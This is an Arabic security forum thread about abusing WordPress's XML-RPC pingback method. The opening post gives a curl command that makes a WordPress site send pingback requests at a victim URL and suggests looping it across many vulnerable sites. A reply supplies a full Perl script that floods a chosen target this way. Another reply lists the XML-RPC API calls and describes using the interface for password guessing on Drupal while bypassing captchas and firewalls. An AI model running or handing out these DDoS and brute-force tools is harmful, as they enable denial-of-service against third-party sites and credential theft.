Loading...

BTC DONATE : 1D8Aq4q2jQnvGD1GaK9vbNwKgm1K5zUEWL


Sec4ever الحماية للأبد
  • شكراً: 3509
  • تم شكره 5442 مرة في 956 مشاركة

بسم الله الرحمن الرحيم.

السلام عليكم و رحمة الله و بركاته.



اليوم في جولة بسيطة لملفات اللوق بسيرفرات المنتدى و جدت شىء لفتنى كثيرا .



WordPress Pingback DDoS attack via XML-RPC

اي نعم الثغرة منذ مارس 2014 و لا يزال تطبيقها على المنتدى الى يومنا هذا و ايام كان السيرفر واقع بخطاء 500

كان وقتها فيه هجوم على السيرفر بنفس الثغرة .

المهم لاحظت ان : الأخ Mr_AnarShi-T قام بتطوير الفكرة بشكل جميل جدا هنا في المنتدى لأستغلال الثغرة لعمل بريت فورس و الموضوع بالفعل يستحق القرأة .

الموضوع هذا : http://www.sec4ever.com/home/showthread.php?t=15485

بصراحة الموضوع يستحق متابعة فالثغرة مزالت شغالة لحد يومنا هذا و الأطفال مزالوا يلعبون بها الله يرفع عليهم البلاء.

تقريبا لم اجد محتوى عربي كثير متطرق للموضوع لذلك كتبت الموضوع و ان كان يعتبر قديم و لكن على الأقل قد يفيد البعض كافكار بالخصوص انه مزال كثير مواقع مصابين بالثغرة.

و على فكرة الثغرة تم استغلالها في برمجة اكواد بعض البوت نت الخاصين بهجومات الديدوس.

و الأستغلال البسيط للثغرة هو كالتالى :

كود PHP:
curl --  "www.wordpresssite.com/xmlrpc.php" -'<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://victim.com</string></value></param><param><value><string>www.wordpresssite.com/postchosen</string></value></param></params></methodCall>' 
و كل شخص و كيف يستغل ال curl في حلقة تنتهى بانتهاء عدد المواقع المصابة التى يقدر ان يحصل عليها.

يمكن ايضا فحص اذا الموقع مصاب او لا من خلال الموقع هذا :

كود PHP:
http://sitecheck.sucuri.net/results/www.victime.com 
و هذاين مثالين على موقعين واحد مصاب و الأخر غير مصاب :

المصاب .



الغير مصاب :



رابط 1 : من هنا

رابط 2 : من هنا

بالتوفيق .

توقيع
Mr_AnarShi-T عضو مميز
  • شكراً: 246
  • تم شكره 718 مرة في 170 مشاركة

السلام عليكم و رحمة الله و بركته

الحقيقة موضوع تستحق النقاش و كنت منتظره
الحقيقة ملف xmlrpc كارثة بأتم معني الكلمة
بخصوص XML-RPC PingBack مثل ما قلت تم إستعمالها في بوتات و العديد من المواقع تظررت من الثغرة
إستغلال بسيط بالبيرل للثغرة

كود:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common;
use IO::Socket::INET;
system("clear");
my $target = $ARGV[1] ;
my $xml_site = $ARGV[0];
my $article = $ARGV[3];
my $count = $ARGV[2];
if($count eq '' || $article eq '' || $xml_site eq '' || $target eq '')
{
print "\n[!] Usage: ./exploit.pl <xml_website> <target> <requests count> <real article>\n\n";
exit(1);
}
 
if($target !~ /http:\/\//)
{
$target = "http://$target";
}
if($xml_site !~ /http:\/\//)
{
$xml_site = "http://$xml_site";
}
 
$full = $target.$article;
sleep 1;
 
$text = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$full</string></value></param></params></methodCall>";
$request_length= length $text;
 
print "Sending POST requests . . \n";
 
$filename = "pingback.txt";
open(FILE , "> $filename");
for($i=1;$i<=$count;$i++)
{
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0] , PeerPort => 'http(80)', Proto => 'tcp'); 
$request = "POST /xmlrpc.php HTTP/1.1\r\nHost: $ARGV[0]\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $request_length\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$ARGV[1]</string></value></param><param><value><string>$ARGV[0]$ARGV[3]</string></value></param></params></methodCall>\r\n\r\n";
sleep 1;
print $request;
print $sock $request;
while(<$sock>)
{
print FILE;
}
 
}
كذلك في تستغل XML-RPC WordPress API لإدارة الموقع من خلال عمل بوستات , طلب معلومات حول إعدادات بلوق وسائل الإعلام حتى تحميل etc
و فيك تشوف ليستت الAPI CALLS من خلال عرض ملف wp-includes/class-wp-xmlrpc-server.php
API CALLS LIST
كود:
wp.getUsersBlogs
wp.newPost
wp.editPost
wp.deletePost
wp.getPost
wp.getPosts
wp.newTerm
wp.editTerm
wp.deleteTerm
wp.getTerm
wp.getTerms
wp.getTaxonomy
wp.getTaxonomies
wp.getUser
wp.getUsers
wp.getProfile
wp.editProfile
wp.getPage
wp.getPages
wp.newPage
wp.deletePage
wp.editPage
wp.getPageList
wp.getAuthors
wp.getCategories
wp.getTags
wp.newCategory
wp.deleteCategory
wp.suggestCategories
wp.uploadFile
wp.getCommentCount
wp.getPostStatusList
wp.getPageStatusList
wp.getPageTemplates
wp.getOptions
wp.setOptions
wp.getComment
wp.getComments
wp.deleteComment
wp.editComment
wp.newComment
wp.getCommentStatusList
wp.getMediaItem
wp.getMediaLibrary
wp.getPostFormats
wp.getPostType
wp.getPostTypes
wp.getRevisions
wp.restoreRevision
blogger.getUsersBlogs
blogger.getUserInfo
blogger.getPost
blogger.getRecentPosts
blogger.newPost
blogger.editPost
blogger.deletePost
metaWeblog.newPost
metaWeblog.editPost
metaWeblog.getPost
metaWeblog.getRecentPosts
metaWeblog.getCategories
metaWeblog.newMediaObject
metaWeblog.deletePost
metaWeblog.getUsersBlogs
mt.getCategoryList
mt.getRecentPostTitles
mt.getPostCategories
mt.setPostCategories
mt.supportedMethods
mt.supportedTextFilters
mt.getTrackbackPings
mt.publishPost
pingback.ping
pingback.extensions.getPingbacks
demo.sayHello
demo.addTwoNumbers
لمن لم يفهم مثال بسيط لعمل بوست من خلال demo.sayHello
رح أستعمل CURL لأنها الأسهل في التعامل مع عمليات POST
فإن الأمر التالي يقوم بإرسال xml الواردة في الملف 'demo.sayHello.txt'
as a POST request إلي remote WordPress API

كود:
curl --data @demo.sayHello.txt http://www.example.com/xmlrpc.php
رح تكون response علي هذا النحو

كود:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <string>Hello!</string>
      </value>
    </param>
  </params>
</methodResponse>
سهلة مع العمل أنو محتوي الملف demo.sayHello.txt هي كلمة Hello!
المهم في عديد إستعمالات لهذا الملف علي هذا المنوال

تحياتي في أمان الله ~

توقيع
Perl & Java Lov3r

No perl No life
6 أعضاء قالوا شكراً لـ Mr_AnarShi-T على المشاركة المفيدة:
Mr_AnarShi-T عضو مميز
  • شكراً: 246
  • تم شكره 718 مرة في 170 مشاركة

+1

علي فكرة الطريقة فينا نستعملها مع بعض السكريبتات الأخري مثل Drupal و غيرها المهم
بالنسبة لل Drupal شغالة 100% يعني التخمين من خلال xmlrpc
طريقة لتخطي المشاكل الموجودة مثل الكاباتشا و الجدار النافي و غيرها
عملية التخمين تتم من خلال blogger.get User API CALL
إن شاء الله تعرض الفكرة و الأداة قريبا

توقيع
Perl & Java Lov3r

No perl No life
5 أعضاء قالوا شكراً لـ Mr_AnarShi-T على المشاركة المفيدة:
أدوات الموضوع
انواع عرض الموضوع


Powered by vBulletin® Copyright ©2000 - 2022, Jelsoft Enterprises Ltd.

:: Security By : Sec4ever Team ::

جميع الحقوق محفوظة الحماية للأبد -Security 4 Ever
Sec4ever by Sec4ever
جميع الحقوق محفوظة الحماية للأبد -Security 4 Ever
Sec4ever by Sec4ever